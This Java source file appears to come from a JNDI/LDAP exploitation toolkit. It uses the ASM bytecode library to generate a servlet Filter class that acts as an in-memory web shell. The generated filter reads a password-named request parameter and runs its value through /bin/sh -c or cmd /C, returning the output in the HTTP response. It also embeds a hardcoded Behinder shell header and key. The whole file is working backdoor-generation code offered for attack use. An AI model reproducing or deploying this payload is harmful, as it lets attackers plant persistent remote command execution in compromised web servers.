content: package com.feihong.ldap.template;
  import org.objectweb.asm.*;
  import java.util.*;
  
  
  public class FilterASM implements Opcodes{
      public static byte[] Filter(String random,String password){
          String classname = "com/feihong/ldap/template/DynamicFilterTemplate"+random;
          String Lclassname= "L"+classname+";";
  
          ClassWriter cw = new ClassWriter(0);
          FieldVisitor fv;
          MethodVisitor mv;
          AnnotationVisitor av0;
  
          cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, classname, null, "java/lang/Object", new String[]{"javax/servlet/Filter"});
  
  
          {
              fv = cw.visitField(ACC_PRIVATE, "myClassLoaderClazz", "Ljava/lang/Class;", null, null);
              fv.visitEnd();
          }
          {
              fv = cw.visitField(ACC_PRIVATE, "basicCmdShellPwd", "Ljava/lang/String;", null, null);
              fv.visitEnd();
          }
          {
              fv = cw.visitField(ACC_PRIVATE, "behinderShellHeader", "Ljava/lang/String;", null, null);
              fv.visitEnd();
          }
          {
              fv = cw.visitField(ACC_PRIVATE, "behinderShellPwd", "Ljava/lang/String;", null, null);
              fv.visitEnd();
          }
          {
              mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, new String[]{"java/lang/Exception"});
              mv.visitCode();
              Label l0 = new Label();
              mv.visitLabel(l0);
              mv.visitLineNumber(21, l0);
              mv.visitVarInsn(ALOAD, 0);
              mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
              Label l1 = new Label();
              mv.visitLabel(l1);
              mv.visitLineNumber(16, l1);
              mv.visitVarInsn(ALOAD, 0);
              mv.visitLdcInsn(password);
              mv.visitFieldInsn(PUTFIELD, classname, "basicCmdShellPwd", "Ljava/lang/String;");
              Label l2 = new Label();
              mv.visitLabel(l2);
              mv.visitLineNumber(17, l2);
              mv.visitVarInsn(ALOAD, 0);
              mv.visitLdcInsn("X-Options-Ai");
              mv.visitFieldInsn(PUTFIELD, classname, "behinderShellHeader", "Ljava/lang/String;");
              Label l3 = new Label();
              mv.visitLabel(l3);
              mv.visitLineNumber(18, l3);
              mv.visitVarInsn(ALOAD, 0);
              mv.visitLdcInsn("e45e329feb5d925b");
              mv.visitFieldInsn(PUTFIELD, classname, "behinderShellPwd", "Ljava/lang/String;");
              Label l4 = new Label();
              mv.visitLabel(l4);
              mv.visitLineNumber(22, l4);
              mv.visitInsn(RETURN);
              Label l5 = new Label();
              mv.visitLabel(l5);
              mv.visitLocalVariable("this", Lclassname, null, l0, l5, 0);
              mv.visitMaxs(2, 1);
              mv.visitEnd();
          }
          {
              mv = cw.visitMethod(ACC_PUBLIC, "init", "(Ljavax/servlet/FilterConfig;)V", null, new String[]{"javax/servlet/ServletException"});
              mv.visitCode();
              Label l0 = new Label();
              mv.visitLabel(l0);
              mv.visitLineNumber(26, l0);
              mv.visitInsn(RETURN);
              Label l1 = new Label();
              mv.visitLabel(l1);
              mv.visitLocalVariable("this", Lclassname, null, l0, l1, 0);
              mv.visitLocalVariable("filterConfig", "Ljavax/servlet/FilterConfig;", null, l0, l1, 1);
              mv.visitMaxs(0, 2);
              mv.visitEnd();
          }
          {
              mv = cw.visitMethod(ACC_PUBLIC, "doFilter", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V", null, new String[]{"java/io/IOException", "javax/servlet/ServletException"});
              mv.visitCode();
              Label l0 = new Label();
              mv.visitLabel(l0);
              mv.visitLineNumber(29, l0);
              mv.visitVarInsn(ALOAD, 1);
              mv.visitVarInsn(ALOAD, 0);
              mv.visitFieldInsn(GETFIELD, classname, "basicCmdShellPwd", "Ljava/lang/String;");
              mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletRequest", "getParameter", "(Ljava/lang/String;)Ljava/lang/String;", true);
              Label l1 = new Label();
              mv.visitJumpInsn(IFNULL, l1);
              mv.visitVarInsn(ALOAD, 1);
              mv.visitLdcInsn("type");
              mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletRequest", "getParameter", "(Ljava/lang/String;)Ljava/lang/String;", true);
              mv.visitLdcInsn("basic");
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
              mv.visitJumpInsn(IFEQ, l1);
              Label l2 = new Label();
              mv.visitLabel(l2);
              mv.visitLineNumber(31, l2);
              mv.visitVarInsn(ALOAD, 1);
              mv.visitVarInsn(ALOAD, 0);
              mv.visitFieldInsn(GETFIELD, classname, "basicCmdShellPwd", "Ljava/lang/String;");
              mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletRequest", "getParameter", "(Ljava/lang/String;)Ljava/lang/String;", true);
              mv.visitVarInsn(ASTORE, 4);
              Label l3 = new Label();
              mv.visitLabel(l3);
              mv.visitLineNumber(32, l3);
              mv.visitVarInsn(ALOAD, 4);
              Label l4 = new Label();
              mv.visitJumpInsn(IFNULL, l4);
              mv.visitVarInsn(ALOAD, 4);
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "isEmpty", "()Z", false);
              mv.visitJumpInsn(IFNE, l4);
              Label l5 = new Label();
              mv.visitLabel(l5);
              mv.visitLineNumber(33, l5);
              mv.visitInsn(ACONST_NULL);
              mv.visitVarInsn(ASTORE, 5);
              Label l6 = new Label();
              mv.visitLabel(l6);
              mv.visitLineNumber(34, l6);
              mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
              mv.visitLdcInsn("/");
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
              Label l7 = new Label();
              mv.visitJumpInsn(IFEQ, l7);
              Label l8 = new Label();
              mv.visitLabel(l8);
              mv.visitLineNumber(35, l8);
              mv.visitInsn(ICONST_3);
              mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
              mv.visitInsn(DUP);
              mv.visitInsn(ICONST_0);
              mv.visitLdcInsn("/bin/sh");
              mv.visitInsn(AASTORE);
              mv.visitInsn(DUP);
              mv.visitInsn(ICONST_1);
              mv.visitLdcInsn("-c");
              mv.visitInsn(AASTORE);
              mv.visitInsn(DUP);
              mv.visitInsn(ICONST_2);
              mv.visitVarInsn(ALOAD, 4);
              mv.visitInsn(AASTORE);
              mv.visitVarInsn(ASTORE, 5);
              Label l9 = new Label();
              mv.visitJumpInsn(GOTO, l9);
              mv.visitLabel(l7);
              mv.visitLineNumber(37, l7);
              mv.visitFrame(Opcodes.F_APPEND, 2, new Object[]{"java/lang/String", "[Ljava/lang/String;"}, 0, null);
              mv.visitInsn(ICONST_3);
              mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
              mv.visitInsn(DUP);
              mv.visitInsn(ICONST_0);
              mv.visitLdcInsn("cmd");
              mv.visitInsn(AASTORE);
              mv.visitInsn(DUP);
              mv.visitInsn(ICONST_1);
              mv.visitLdcInsn("/C");
              mv.visitInsn(AASTORE);
              mv.visitInsn(DUP);
              mv.visitInsn(ICONST_2);
              mv.visitVarInsn(ALOAD, 4);
              mv.visitInsn(AASTORE);
              mv.visitVarInsn(ASTORE, 5);
              mv.visitLabel(l9);
              mv.visitLineNumber(39, l9);
              mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
              mv.visitTypeInsn(NEW, "java/util/Scanner");
              mv.visitInsn(DUP);
              mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
              mv.visitVarInsn(ALOAD, 5);
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
              mv.visitMethodInsn(INVOKESPECIAL, "java/util/Scanner", "<init>", "(Ljava/io/InputStream;)V", false);
              mv.visitLdcInsn("\\A");
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/util/Scanner", "useDelimiter", "(Ljava/lang/String;)Ljava/util/Scanner;", false);
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/util/Scanner", "next", "()Ljava/lang/String;", false);
              mv.visitVarInsn(ASTORE, 6);
              Label l10 = new Label();
              mv.visitLabel(l10);
              mv.visitLineNumber(40, l10);
              mv.visitVarInsn(ALOAD, 2);
              mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletResponse", "getWriter", "()Ljava/io/PrintWriter;", true);
              mv.visitVarInsn(ALOAD, 6);
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/PrintWriter", "println", "(Ljava/lang/String;)V", false);
              mv.visitLabel(l4);
              mv.visitLineNumber(42, l4);
              mv.visitFrame(Opcodes.F_CHOP, 2, null, 0, null);
              Label l11 = new Label();
              mv.visitJumpInsn(GOTO, l11);
              mv.visitLabel(l1);
              mv.visitLineNumber(43, l1);
              mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
              mv.visitVarInsn(ALOAD, 3);
              mv.visitVarInsn(ALOAD, 1);
              mv.visitVarInsn(ALOAD, 2);
              mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain", "doFilter", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", true);
              mv.visitLabel(l11);
              mv.visitLineNumber(45, l11);
              mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
              mv.visitInsn(RETURN);
              Label l12 = new Label();
              mv.visitLabel(l12);
              mv.visitLocalVariable("cmds", "[Ljava/lang/String;", null, l6, l4, 5);
              mv.visitLocalVariable("result", "Ljava/lang/String;", null, l10, l4, 6);
              mv.visitLocalVariable("cmd", "Ljava/lang/String;", null, l3, l4, 4);
              mv.visitLocalVariable("this", Lclassname, null, l0, l12, 0);
              mv.visitLocalVariable("servletRequest", "Ljavax/servlet/ServletRequest;", null, l0, l12, 1);
              mv.visitLocalVariable("servletResponse", "Ljavax/servlet/ServletResponse;", null, l0, l12, 2);
              mv.visitLocalVariable("filterChain", "Ljavax/servlet/FilterChain;", null, l0, l12, 3);
              mv.visitMaxs(4, 7);
              mv.visitEnd();
          }
          {
              mv = cw.visitMethod(ACC_PUBLIC, "destroy", "()V", null, null);
              mv.visitCode();
              Label l0 = new Label();
              mv.visitLabel(l0);
              mv.visitLineNumber(48, l0);
              mv.visitInsn(RETURN);
              Label l1 = new Label();
              mv.visitLabel(l1);
              mv.visitLocalVariable("this", Lclassname, null, l0, l1, 0);
              mv.visitMaxs(0, 1);
              mv.visitEnd();
          }
          cw.visitEnd();
  
          return cw.toByteArray();
      }
  }
  